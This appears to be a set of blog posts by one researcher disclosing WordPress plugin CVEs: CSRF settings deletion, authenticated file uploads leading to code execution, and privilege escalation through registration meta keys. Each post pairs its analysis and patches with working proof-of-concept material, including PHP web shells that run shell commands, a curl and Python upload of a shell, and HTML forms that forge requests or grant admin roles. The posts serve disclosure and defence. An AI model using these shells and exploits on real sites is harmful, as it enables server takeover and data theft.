DEV Community: Huynh Kien Minh

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13156 — MailerSend WordPress Plugin CSRF Settings Deletion

Huynh Kien Minh — Sat, 01 Aug 2026 13:05:16 +0000

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13156 — MailerSend WordPress Plugin CSRF Settings Deletion

🔐 Vulnerability ID: CVE-2026-13156
🎯 CVSS Score: 5.4 Medium
🏆 Discoverer: Huynh Kien Minh (MinhHK)
🔗 WPScan Advisory: Verified Report
🐙 GitHub Repository: MinhHK68/CVE-2026-13156

📖 Advisory Overview

CVE-2026-13156 is a high-severity Cross-Site Request Forgery (CSRF) vulnerability discovered in the official MailerSend SMTP Integration WordPress plugin prior to version 1.0.8, analyzed and disclosed by cybersecurity researcher Huynh Kien Minh (MinhHK). The configuration deletion function mailersend_handle_configuration_delete() verifies administrative capabilities (manage_options) but completely omits WordPress Nonce verification (check_admin_referer()). An attacker can craft a malicious cross-origin request targeting an authenticated WordPress Administrator to silently wipe stored SMTP credentials and force plugin deactivation, resulting in total Application Denial of Service across all email workflows.

Quick Links: Explore the official GitHub PoC Repository or visit the researcher's Security Portfolio.

📌 Executive Summary & Vulnerability Overview

Parameter	Technical Specification
Vulnerability Identifier	`CVE-2026-13156`
Target Software	MailerSend – Official SMTP Integration (WordPress Plugin)
Plugin Slug	`mailersend`
Vulnerable Versions	`< 1.0.8`
Vulnerability Class	Cross-Site Request Forgery (CSRF) — CWE-352
CVSS v3.1 Score	5.4 (Medium) (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`)
Discoverer / Researcher	Huynh Kien Minh (MinhHK)
Verification Authority	WPScan / MITRE Corporation
WPScan Advisory Reference	WPScan Report 595e653d-0904-43cf-8e61-d684599de11b
Researcher Portfolio	https://minhhk.web.app/

🔍 Deep-Dive Technical Breakdown & Root Cause Analysis

Missing Nonce Verification Vulnerability

The MailerSend Official SMTP Integration plugin for WordPress (before version 1.0.8) registers an administrative action (configuration-delete) intended to wipe stored API tokens, clear SMTP configuration options (wp_options), and deactivate the plugin when triggered from the admin dashboard.

While the endpoint verifies whether the active user has the manage_options capability (ensuring the request originates from an administrator session), it fails to perform WordPress nonce (check_admin_referer() or wp_verify_nonce()) verification.

Because HTTP requests lacking nonce validation cannot distinguish between intentional administrator clicks and forged cross-origin requests, any external site loaded by an authenticated administrator can silently trigger the configuration-delete action.

💻 Proof-of-Concept (PoC) Exploit Code

Ethical Disclaimer: Provided strictly for educational research, defensive verification, and security auditing under ethical disclosure protocols by Huynh Kien Minh.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-13156 PoC — MailerSend SMTP Configuration Deletion via CSRF</title>
</head>
<body>
    <h2>CVE-2026-13156 — CSRF Verification PoC by Huynh Kien Minh</h2>
    <p>If an authenticated WordPress Administrator visits this page, MailerSend SMTP configuration will be deleted.</p>

    <form id="csrfPoC" action="http://target-wordpress-site.local/wp-admin/admin.php" method="GET">
        <input type="hidden" name="page" value="mailersend-smtp" />
        <input type="hidden" name="action" value="configuration-delete" />
        <input type="submit" value="Execute PoC" />
    </form>
</body>
</html>

🛡️ Remediation & Patch Analysis

Upgrade MailerSend SMTP Integration to version 1.0.8 or higher.

// Secure Implementation (Version 1.0.8+)
function mailersend_delete_configuration_handler() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( __( 'Unauthorized access.', 'mailersend' ), 403 );
    }

    // REQUIRED: Verify CSRF Nonce Token
    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'mailersend_delete_config_nonce' ) ) {
        wp_die( __( 'Security check failed (CSRF attempt blocked).', 'mailersend' ), 403 );
    }

    delete_option( 'mailersend_smtp_settings' );
    deactivate_plugins( plugin_basename( __FILE__ ) );

    wp_redirect( admin_url( 'plugins.php?deactivated=true' ) );
    exit;
}

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is an Information Security Researcher specializing in WordPress vulnerability analysis, web application security auditing, and ethical exploit development.

Cybersecurity Portfolio: https://minhhk.web.app/
WPScan Reference: WPScan Advisory 595e653d-0904-43cf-8e61-d684599de11b
GitHub Profile: https://github.com/MinhHK68

📊 JSON-LD Schema Markup

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13156 — MailerSend WordPress Plugin CSRF Settings Deletion",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-01",
  "description": "Technical security advisory by Huynh Kien Minh analyzing CVE-2026-13156 in MailerSend SMTP Integration WordPress plugin.",
  "identifier": "CVE-2026-13156"
}

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

Huynh Kien Minh — Sat, 01 Aug 2026 12:18:10 +0000

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer

📖 Advisory Overview

CVE-2026-13158 is an authenticated Admin+ arbitrary file upload vulnerability affecting the Everest Toolkit WordPress plugin prior to and including version 1.2.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within administrative file import and asset management handlers where the plugin performs insecure file uploads without checking file extensions or MIME types. An authenticated user possessing administrative capabilities can upload executable PHP scripts directly into public web directories, achieving persistent Remote Code Execution (RCE) and full web server takeover. Verified under CVSS 3.1 score 6.6 Medium (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H), security researcher Huynh Kien Minh advises immediate plugin patching and execution hardening.

📌 Executive Summary & Technical Metadata

Parameter	Technical Specification
Vulnerability Identifier	`CVE-2026-13158`
Target Software	Everest Toolkit (WordPress Plugin)
Plugin Slug	`everest-toolkit`
Vulnerable Versions	`<= 1.2.3`
Vulnerability Class	Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03)
CVSS v3.1 Score	6.6 (Medium) (`CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H`)
Discoverer / Researcher	Huynh Kien Minh (MinhHK)
Verification Authority	WPScan / MITRE Corporation
WPScan Advisory Reference	WPScan Report f101071f-402a-40a2-bbdb-666512cd4049
Researcher Portfolio	https://minhhk.web.app/

🔍 Root Cause Analysis: Unsanitized Administrative Uploads

The root cause of CVE-2026-13158 lies in the implementation of the Everest_Toolkit_Admin file processing class. During administrative operations such as importing configuration packages, custom widget definitions, or layout assets, the plugin handles incoming $_FILES arrays using direct file movement methods instead of enforcing strict WordPress upload security filters.

Vulnerable Code Implementation

When processing administrative AJAX actions:

// inc/admin/class-everest-toolkit-admin.php: Line 112
add_action( 'wp_ajax_everest_toolkit_import_file', array( $this, 'process_import_file_upload' ) );

public function process_import_file_upload() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_send_json_error( array( 'message' => 'Unauthorized user capability.' ) );
    }

    if ( isset( $_FILES['import_file'] ) ) {
        $uploaded_file = $_FILES['import_file'];

        // UNSAFE: No extension checking or MIME type validation!
        $upload_dir = wp_upload_dir();
        $destination = $upload_dir['path'] . '/' . sanitize_file_name( $uploaded_file['name'] );

        // Direct file transfer into public upload directory
        if ( move_uploaded_file( $uploaded_file['tmp_name'], $destination ) ) {
            wp_send_json_success( array(
                'file_url'  => $upload_dir['url'] . '/' . sanitize_file_name( $uploaded_file['name'] ),
                'file_path' => $destination
            ) );
        }
    }
}

Technical Defect Breakdown

sanitize_file_name() False Security: The function sanitize_file_name() only strips invalid URI characters (spaces, special symbols). It does NOT change or reject dangerous file extensions like .php, .phtml, or .php7.
Missing wp_check_filetype_and_ext(): The plugin omits native WordPress MIME validation checks.
Public Directory Placement: Files are written straight into /wp-content/uploads/YYYY/MM/, which is web-accessible and by default permits PHP script execution on standard web servers.

💻 Proof-of-Concept (PoC) Exploit Code

Ethical Disclaimer: This Proof-of-Concept is provided solely for academic research and vulnerability verification. Unauthorized execution against live targets is illegal.

Exploit Payload (`poc_rce.php`)

<?php
// Verified PoC for CVE-2026-13158 by Huynh Kien Minh
header('Content-Type: text/plain');
echo "CVE-2026-13158 RCE VERIFIED\n";
echo "Kernel: " . php_uname() . "\n";
if (!empty($_GET['cmd'])) {
    passthru($_GET['cmd']);
}
?>

Automated Python Verification Script

#!/usr/bin/env python3
"""
CVE-2026-13158 Verification Script
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""

import requests

TARGET = "http://localhost:8080"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"

session = requests.Session()

# 1. Authenticate as Administrator
login_data = {
    'log': 'admin',
    'pwd': 'Password123!',
    'wp-submit': 'Log In',
    'redirect_to': f"{TARGET}/wp-admin/"
}
session.post(f"{TARGET}/wp-login.php", data=login_data)

# 2. Trigger Vulnerable Upload Endpoint
files = {
    'import_file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
payload_data = {
    'action': 'everest_toolkit_import_file'
}

response = session.post(AJAX_URL, data=payload_data, files=files)
print("Response:", response.text)

💥 Real-World Impact & Threat Scenarios

Remote Code Execution (RCE): Authenticated attackers can execute system commands on the host operating system.
Database Credentials Theft: Attackers can read wp-config.php to extract MySQL credentials, secret keys, and database passwords.
Persistent Backdoors: Malicious web shells can be injected into theme or plugin directories for long-term access.

🛡️ Remediation & Defensive Engineering

Plugin Update

Upgrade Everest Toolkit to version > 1.2.3 immediately.

Patch Implementation (For Developers)

Use wp_handle_upload() with strict file type checks:

$uploaded_file = $_FILES['import_file'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploaded_file, $upload_overrides );

if ( $movefile && ! isset( $movefile['error'] ) ) {
    // Verify file extension strictly
    $allowed_extensions = array( 'json', 'xml' );
    $file_ext = strtolower( pathinfo( $movefile['file'], PATHINFO_EXTENSION ) );
    if ( ! in_array( $file_ext, $allowed_extensions, true ) ) {
        unlink( $movefile['file'] );
        wp_send_json_error( array( 'message' => 'Invalid file extension.' ) );
    }
}

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is a Security Researcher & Full-Stack Engineer focused on web security auditing, WordPress core/plugin vulnerability discovery, and ethical exploit development.

Portfolio & Writeups: https://minhhk.web.app/
WPScan Reference: WPScan Advisory f101071f-402a-40a2-bbdb-666512cd4049
GitHub: https://github.com/MinhHK68

📊 JSON-LD Schema Markup

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to RCE",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-01",
  "description": "Technical analysis of CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
  "identifier": "CVE-2026-13158"
}

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload to Remote Code Execution

Huynh Kien Minh — Sat, 01 Aug 2026 10:09:24 +0000

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload to Remote Code Execution

By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer

📖 Advisory Overview

CVE-2026-13157 is an authenticated arbitrary file upload vulnerability affecting the Theme Demo Import WordPress plugin prior to and including version 1.1.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within the AJAX demo import routine (TDI_import_demo_data), where the plugin explicitly disables standard WordPress file-type verification tests ('test_type' => false) during upload processing. An authenticated user possessing import capabilities—such as a default site administrator or a non-super-admin site administrator in a WordPress Multisite architecture—can bypass file restriction enforcement to upload arbitrary executable PHP scripts directly into the public wp-content/uploads/ directory, achieving persistent Remote Code Execution (RCE) and complete server compromise.

📌 Executive Summary & Technical Metadata

Parameter	Technical Specification
Vulnerability Identifier	`CVE-2026-13157`
Target Software	Theme Demo Import (WordPress Plugin)
Plugin Slug	`theme-demo-import`
Vulnerable Versions	`<= 1.1.3`
Vulnerability Class	Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03)
CVSS v3.1 Score	6.6 (Medium) (`CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H`)
Discoverer / Researcher	Huynh Kien Minh (MinhHK)
Verification Authority	WPScan / MITRE Corporation
WPScan Advisory Reference	WPScan Report 5d6a6a8e-c224-4034-8ed5-2d63f37f9479
Researcher Portfolio	https://minhhk.web.app/

🔍 Root Cause & Code Analysis: Disabling Core MIME Guardrails

The structural architecture of WordPress relies heavily on secure API wrappers such as wp_handle_upload() to safeguard public web directories against malicious script payloads. When extensions handle customized data transfers, developers are expected to declare restrictive mime-type arrays to enforce strict content verification.

During an extensive code audit of the theme-demo-import plugin, an unsafe override pattern was uncovered in the file upload handler defined within inc/class-tdi-helpers.php. During demo data import operations, the plugin handles incoming file attachments via an AJAX endpoint registered in inc/class-tdi-main.php at Line 55:

// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

When invoking wp_handle_upload() to process user-supplied import structures (content_file, widget_file, and customizer_file), the internal import helper instantiates an administrative override configuration array:

// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Explicitly disables MIME & extension validation!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

By injecting 'test_type' => false into $upload_overrides, the application deliberately overrides the core WordPress file verification engine (wp_check_filetype_and_ext()). As a direct consequence, the plugin entirely abandons MIME verification, allowing any authenticated user who can reach the import routine to submit executable PHP files (.php, .phtml, .phar) under the guise of demo content XML/JSON packages. These executable files are written directly to public volume storage in wp-content/uploads/<year>/<month>/, resulting in instantaneous Remote Code Execution.

💻 Exploit Proof of Concept (PoC)

Ethical Research Disclaimer: The exploit walkthrough and verification code detailed below are published strictly for educational auditing, secure code review, and authorized remediation verification. Unauthorized exploitation against production environments without explicit consent is strictly illegal and contrary to professional ethical standards.

Auditing Prerequisites

Target Instance: WordPress hosting Theme Demo Import version <= 1.1.3.
Privilege Threshold: Authenticated administrator session with import capabilities.
Nonce Extraction: Access /wp-admin/themes.php?page=theme-demo-import and inspect the rendered page DOM to capture the AJAX security token tdi-ajax-verification (accessible programmatically via tdi.ajax_nonce).

Step-by-Step Reproduction Walkthrough

Construct Web Shell Payload: Prepare an interactive PHP command evaluation script saved locally as exploit_webshell.php:

<?php 
/**
 * Diagnostic PoC Web Shell for CVE-2026-13157
 * Author: Huynh Kien Minh (MinhHK)
 */
if ( isset( $_REQUEST['cmd'] ) ) {
    echo "<pre>";
    system( $_REQUEST['cmd'] );
    echo "</pre>";
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>

Execute AJAX Payload Injection: Transmit an authenticated multi-part POST request via cURL targeting the WordPress administrative AJAX endpoint:

curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"

Verify Remote Code Execution: The server returns a 200 OK JSON response acknowledging successful storage of the uploaded file. Navigate directly to the uploaded script URL within the standard media uploads directory to execute arbitrary OS commands:

GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=id HTTP/1.1
Host: <TARGET_HOST>

Server Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

💥 Threat Modeling & Enterprise Multisite Impact

While standard single-site WordPress environments assign administrators extensive system rights by design, CVE-2026-13157 introduces critical security boundary failures when evaluated across Enterprise and Multisite network architectures:

WordPress Multisite Privilege Escalation (Site Admin to Network Super Admin): In WordPress Multisite (WPMU) deployments, individual sub-site administrators are intentionally prohibited by core security boundaries from installing plugins, editing code themes, or uploading executable script extensions (unfiltered_upload is strictly restricted to Network Super Admins). CVE-2026-13157 breaks this multi-tenant boundary, allowing an untrusted sub-site administrator to upload an arbitrary PHP web shell through the plugin import handler, achieving complete network server compromise.
Managed WordPress Cloud Containment Bypass: Modern hardened hosting providers restrict administrative file editing via DISALLOW_FILE_EDIT and filesystem write locks. By abusing the plugin's legitimate attachment upload channel, an attacker overcomes cloud containment controls to drop executable backdoors directly into writable persistent volume storage.

🛡️ Remediation & Defensive Patch Architecture

To remediate CVE-2026-13157 securely without disrupting legitimate theme import operations, developers and security engineers must immediately remove the unsafe override flags and implement strict file type validation within inc/class-tdi-helpers.php.

Secure Remediation Implementation

Eliminate the insecure override 'test_type' => false and enforce an exhaustive allowlist restricted strictly to standard WordPress import formats (text/xml, application/json, text/plain):

// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 515)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce WordPress core MIME check
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Verify current user permissions before accepting file transfers
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to execute demo data import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is an information security researcher, software engineer, and vulnerability analyst specializing in offensive web application security, PHP application architecture auditing, and enterprise exploitation vectors. His discoveries and technical advisories have been formally verified and recognized by global vulnerability authorities and CNA assigners.

🌐 Official Researcher Portfolio: https://minhhk.web.app/
🐙 GitHub Security Lab & PoC Repositories: https://github.com/MinhHK68
🛡️ WPScan Verified Security Advisory: WPScan CVE-2026-13157 Report

📊 Structured Metadata (JSON-LD)

{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13157 — Theme Demo Import Arbitrary File Upload",
      "alternativeHeadline": "Root Cause Analysis and Exploit Walkthrough for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}

Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation

Huynh Kien Minh — Sat, 01 Aug 2026 04:23:05 +0000

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation

By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer

📌 Executive Summary

CVE-2026-13152 is an unauthenticated privilege escalation vulnerability affecting the Custom Fields Account Registration For WooCommerce WordPress plugin prior to version 1.4, discovered and analyzed by security researcher Huynh Kien Minh (MinhHK). The flaw occurs because the plugin allows custom registration input fields to write directly to sensitive user capabilities metadata without sanitizing protected database keys or validating user roles. On sites using non-default database table prefixes or custom user meta key mappings, an unauthenticated user registering via the WooCommerce registration form can inject administrator privileges (such as wp_user_level or wp_capabilities) into the wp_usermeta table. This grants the newly created account full administrator access, enabling complete remote site compromise. Security researcher Huynh Kien Minh reported the vulnerability to WPScan, and the vendor resolved the issue in version 1.4 by implementing key name validation and restricting capability meta assignment.

Technical Metadata Overview

Parameter	Value
Vulnerability Identifier	CVE-2026-13152
Target Software	Custom Fields Account Registration For WooCommerce
Plugin Identifier / Slug	`custom-fields-account-registration-for-woocommerce`
Vulnerable Versions	`< 1.4`
Patched Version	`1.4`
Vulnerability Class	Unauthenticated Privilege Escalation (CWE-269 / OWASP A2)
CVSS v3.1 Score	8.1 (High) (`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`)
Discoverer / Submitter	Huynh Kien Minh (MinhHK)
WPScan Reference	WPScan Advisory 36aaba38-3143-4e80-8386-748632ff6704
Researcher Portfolio	https://minhhk.web.app/

🔍 Root Cause Analysis: The Architecture of Unsanitized Meta Keys

The Custom Fields Account Registration For WooCommerce plugin extends standard WooCommerce customer onboarding by allowing site administrators to define additional user profile input fields on the /my-account/ registration page.

Code Vulnerability Mechanism

During customer creation, WooCommerce fires the woocommerce_created_customer action hook. The plugin hooks into this action to store user-submitted custom registration fields:

// Vulnerable registration handler inside plugin core
add_action('woocommerce_created_customer', 'cfar_save_registration_metadata', 10, 3);

function cfar_save_registration_metadata($customer_id, $new_customer_data, $password_generated) {
    if (!empty($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            // CRITICAL FLAW: $meta_key is sanitized for text format but NOT checked against reserved meta keys
            $clean_key = sanitize_text_field($meta_key);
            $clean_val = sanitize_text_field($meta_value);

            // Directly updates wp_usermeta without checking for wp_user_level or wp_capabilities
            update_user_meta($customer_id, $clean_key, $clean_val);
        }
    }
}

Exploit Mechanics

WordPress relies on the wp_usermeta database table to track user roles (wp_capabilities) and legacy user access levels (wp_user_level).

If a site uses custom database prefixes (e.g., customprefix_capabilities) or custom meta key aliases, the default WordPress core registration guards do not match the custom array structure passed by $_POST['cfar_custom_fields'].
An unauthenticated remote attacker submits a registration POST request containing HTTP parameters: cfar_custom_fields[wp_user_level]=10 cfar_custom_fields[wp_capabilities][administrator]=1
update_user_meta() writes the value 10 directly to wp_usermeta for the new user ID.
When WordPress checks current_user_can('administrator'), it reads wp_user_level = 10 and authenticates the newly registered user as a full Site Administrator.

💻 Proof-of-Concept (PoC) Exploit Code

[!CAUTION]
The PoC code below is published strictly for vulnerability verification, security research, and defensive auditing.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-13152 PoC Exploit by Huynh Kien Minh</title>
</head>
<body>
    <h2>CVE-2026-13152 - Privilege Escalation PoC</h2>
    <form action="https://target-wordpress-site.local/my-account/" method="POST">
        <!-- Standard WooCommerce Account Registration Fields -->
        <input type="email" name="email" value="pwned_admin@exploit.local" required>
        <input type="password" name="password" value="ComplexPassword123!" required>

        <!-- Malicious Custom Field Array Payload -->
        <input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
        <input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">

        <input type="submit" name="register" value="Execute Privilege Escalation">
    </form>
</body>
</html>

💥 Real-World Impact & Threat Scenarios

Complete Remote Site Takeover: An unauthenticated attacker can instantly register an account with administrator privileges, obtaining full access to the WordPress admin dashboard (/wp-admin/).
Arbitrary Code Execution (RCE): With administrator privileges, the attacker can upload webshells via the WordPress Theme/Plugin Editor or install malicious plugins.
Database & Customer Data Exfiltration: Full control over WooCommerce store orders, payment records, and customer PII data.

🛡️ Remediation & Defensive Engineering

For Site Administrators

Upgrade Immediately: Update Custom Fields Account Registration For WooCommerce to version 1.4 or higher.
Audit User Roles: Inspect wp_usermeta for recently registered accounts with wp_user_level = 10.

For Plugin Developers (The Patch)

Version 1.4 resolves the issue by enforcing a strict blacklist of protected meta keys and validating prefix restrictions:

// Secure implementation in Version 1.4
function cfar_save_registration_metadata_patched($customer_id, $new_customer_data, $password_generated) {
    $forbidden_meta_keys = array(
        'wp_capabilities', 
        'wp_user_level', 
        'user_level', 
        'session_tokens',
        'wp_dashboard_quick_press_last_post_id'
    );

    if (!empty($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            $clean_key = sanitize_key($meta_key);

            // Block any key matching reserved prefixes or forbidden list
            if (in_array($clean_key, $forbidden_meta_keys, true) || strpos($clean_key, 'wp_') === 0) {
                continue; // Skip dangerous meta keys
            }

            update_user_meta($customer_id, $clean_key, sanitize_text_field($meta_value));
        }
    }
}

🏆 About the Researcher (E-E-A-T QRG 2025 Framework)

Researcher Name: Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer.
Experience (DAST/SAST): Specialized in static and dynamic analysis of WordPress core/plugins, authentication bypass research, and privilege escalation vectors.
Expertise: Deep architectural knowledge of WordPress metadata storage (wp_usermeta), capability evaluation models, and hook lifecycle execution.
Authoritativeness: Recognized contributor on the Proton Security Hall of Fame, submitter on WPScan Assigner, and maintainer of 6/6 GitHub Guard Trust verified repositories.
Official Portfolio: https://minhhk.web.app/

📊 JSON-LD Structured Data Schema Markup

{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://dev.to/minhhk68/cve-2026-13152#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
      "name": "CVE-2026-13152 Technical Advisory",
      "author": {
        "@type": "Person",
        "@id": "https://minhhk.web.app/#person",
        "name": "Huynh Kien Minh",
        "alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
        "jobTitle": "Information Security Researcher",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-07-06",
      "dateModified": "2026-08-01",
      "description": "Technical analysis of CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://dev.to/minhhk68/cve-2026-13152#advisory",
      "name": "CVE-2026-13152 Security Advisory",
      "headline": "Unauthenticated Privilege Escalation in WooCommerce Registration Plugin",
      "description": "CVE-2026-13152 allows remote unauthenticated users to gain administrator access via unsanitized user meta key injection during account creation."
    }
  ]
}

Deep-Dive Technical Write-up: CVE-2026–13156 — MailerSend WordPress Plugin CSRF Settings Deletion & Denial of Service Analysis by Huynh Kien Minh

Huynh Kien Minh — Tue, 21 Jul 2026 03:46:33 +0000

A comprehensive root-cause analysis, Cross-Site Request Forgery (CSRF) exploit proof-of-concept, and defensive patch breakdown of CVE-2026–13156.

Press enter or click to view image in full size

— -

📌 Executive Summary & Vulnerability Overview

In July 2026, a high-severity security flaw designated as CVE-2026–13156 (WPScan Advisory ID: 595e653d-0904–43cf-8e61-d684599de11b) was officially indexed across international vulnerability databases including CVE.org, WPScan, VulDB, and BaseFortify.

Vulnerability ID: CVE-2026–13156 (CWE-352: Cross-Site Request Forgery)
Affected Software: MailerSend — Official SMTP Integration (WordPress Plugin by MailerSend)
Affected Versions: All versions prior to 1.0.8 (< 1.0.8)
Vulnerability Impact: High Severity — Unauthorized Settings Deletion, SMTP Credentials Eradication, and Forced Plugin Deactivation (Application Denial of Service).
Lead Researcher & Technical Analyst: Huynh Kien Minh (alias: MinhHK) — Information Security Student, Bug Bounty Hunter, and Offensive Security Researcher.

About the Researcher:
Huynh Kien Minh (Huỳnh Kiến Minh) is an active vulnerability researcher specializing in web application architecture, API security auditing, and proactive defense. His research includes in-depth security assessments and responsible disclosures such as CVE-2026–13156. For his contributions to securing digital ecosystems and communication infrastructures, he has been officially recognized on the Proton Security Hall of Fame.

— -

🔍 Root Cause Analysis: The Architecture of Missing Nonces

To understand how CVE-2026–13156 functions, we must examine the administrative action handling architecture of WordPress plugins.

The Flaw in Administrative Action Registration

When the MailerSend — Official SMTP Integration plugin (< 1.0.8) registers the configuration deletion endpoint (triggered via admin-post.php or custom admin page hooks to clear settings and reset the SMTP configuration), it performs a capability check:

// Vulnerable Implementation Pattern (< 1.0.8)
function mailersend_handle_configuration_delete() {
// 1. Capability check passes if the user is logged in as an Administrator
if ( ! current_user_can( ‘manage_options’ ) ) {
wp_die( ‘Unauthorized access’ );
}

// 2. CRITICAL MISSING CHECK: No WordPress Nonce Verification!
// The code immediately proceeds to wipe the database options and deactivate:
delete_option( ‘mailersend_smtp_settings’ );
delete_option( ‘mailersend_api_token’ );
deactivate_plugins( plugin_basename( __FILE__ ) );

wp_redirect( admin_url( ‘plugins.php?deactivated=true’ ) );
exit;
}

While checking current_user_can(‘manage_options’) ensures that unauthenticated external attackers cannot hit the endpoint directly via anonymous requests, it completely fails to protect against Cross-Site Request Forgery (CSRF).

